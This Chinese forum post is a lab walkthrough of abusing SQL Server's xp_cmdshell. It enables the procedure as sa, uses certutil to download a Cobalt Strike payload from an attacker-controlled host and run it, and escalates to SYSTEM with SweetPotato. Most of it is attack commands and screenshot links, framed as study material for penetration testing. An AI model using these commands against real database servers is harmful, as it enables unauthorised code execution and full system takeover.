发表于 2024-8-19 21:17:02

SQL Server数据库xp_cmdshell提权笔记

一、简介

Sql server也称Mssql Server,扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。
xp_cmdshell可以让体系管理员以操作体系命令行表明器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强盛的扩展“存贮过程”。那么“存储过程”,着实质就是一个“聚集”,就是存储在Sql Server中预先定义好的“SQL语句聚集”,说的更直白一些就是各种小脚本共同构成的聚集体,我们称之为“存储过程”。
二、搭建环境

体系IP服务windows server201210.10.10.40SQL serve数据库kali-linux10.10.10.234攻击方-cobaltstrike https://img-blog.csdnimg.cn/img_convert/cc209eeda0acd2ab77958874ce3f205f.png
https://img-blog.csdnimg.cn/img_convert/b9969c95d4aef0201d560cb146b2113d.png
三、利用条件

任何版本的Sql Server都可以对xp_cmdshell 进行利用;
SQL Server数据库没有被降权;
sa用户或其他具有dba权限的账户。
1、查询 xp_cmdshell 是否开启,返回为1则证实存在

select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';
https://img-blog.csdnimg.cn/img_convert/e8ae8d2867dd48c1773a23de7ff55912.png
2、判定权限是不是sa,回是1说明是sa

https://img-blog.csdnimg.cn/img_convert/e87eccdbc20dadeb90f0cf660ce9aaa3.png
3、开启xp_cmdshell

xp_cmdshell 开关。
【参数解析】
exec 显示或更改当前服务器的全局配置设置。
sp_configure 动态执行SQL语句的命令。
进行开启
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
https://img-blog.csdnimg.cn/img_convert/bf20bc82f99b51af081d286b54fd4894.png
4、关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;
https://img-blog.csdnimg.cn/img_convert/91628ff25aee07160df95e2cc217ad0a.png
四、获取数据库权限

1、乐成获取sqlserver,进行登陆

路径:~/Desktop/impack/impacket-master/examples
命令:python3mssqlclient.py sa@10.10.10.40

https://img-blog.csdnimg.cn/img_convert/7bb0fc34e3b0ae4cfeeb2ce0420495b2.png
2、开启xp_cmdshell权限

exec xp_cmdshell whami
exec xp_cmdshell ipconfig
enable_xp_cmdshell
https://img-blog.csdnimg.cn/img_convert/da470cadb57774359667790a0f5078bd.png
https://img-blog.csdnimg.cn/img_convert/31e4a07b59b580befe34f2953628f8ed.png
https://img-blog.csdnimg.cn/img_convert/e2612fff58a18075dd168997fdb4d501.png
3、服务器端开启cobaltstrike,并且开启exe远程访问

python3 -m http.server 9999
https://img-blog.csdnimg.cn/img_convert/4188733470f53ef134c6c69d17ae6662.png
4、执行命令,进行上线

xp_cmdshell certutil -urlcache -split -f http://10.10.10.234:9999/123.exe c:/windows/temp/123.exe                                                                           
xp_cmdshell c:/windows/temp/123.exe
https://img-blog.csdnimg.cn/img_convert/2fa0571dacc0ccf37138613d36099876.png
5、乐成获取数据库权限

https://img-blog.csdnimg.cn/img_convert/19073af47f6f69733b56a5962bd1fb98.png
五、提升为管理员权限

1、选取插件SweetPotato(MS16-075)

https://img-blog.csdnimg.cn/img_convert/4236e426abaeac5b8c9a3ced01f04019.png
2、选取刚才上线的sqlserver用户权限

https://img-blog.csdnimg.cn/img_convert/3b28d3dd516b7eddabe2afca4e2c1402.png
3、此时乐成变成system权限

https://img-blog.csdnimg.cn/img_convert/dbc5072b9f8a96ae967d440056ab846b.png
https://img-blog.csdnimg.cn/img_convert/93c62a8e7b8994c4cf7638ab184ab1c2.png
免责声明

本文档供学习,请使用者注意使用环境并遵守国家相干法律法规!由于使用不当造成的后果上传者概不负责!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: SQL Server数据库xp_cmdshell提权笔记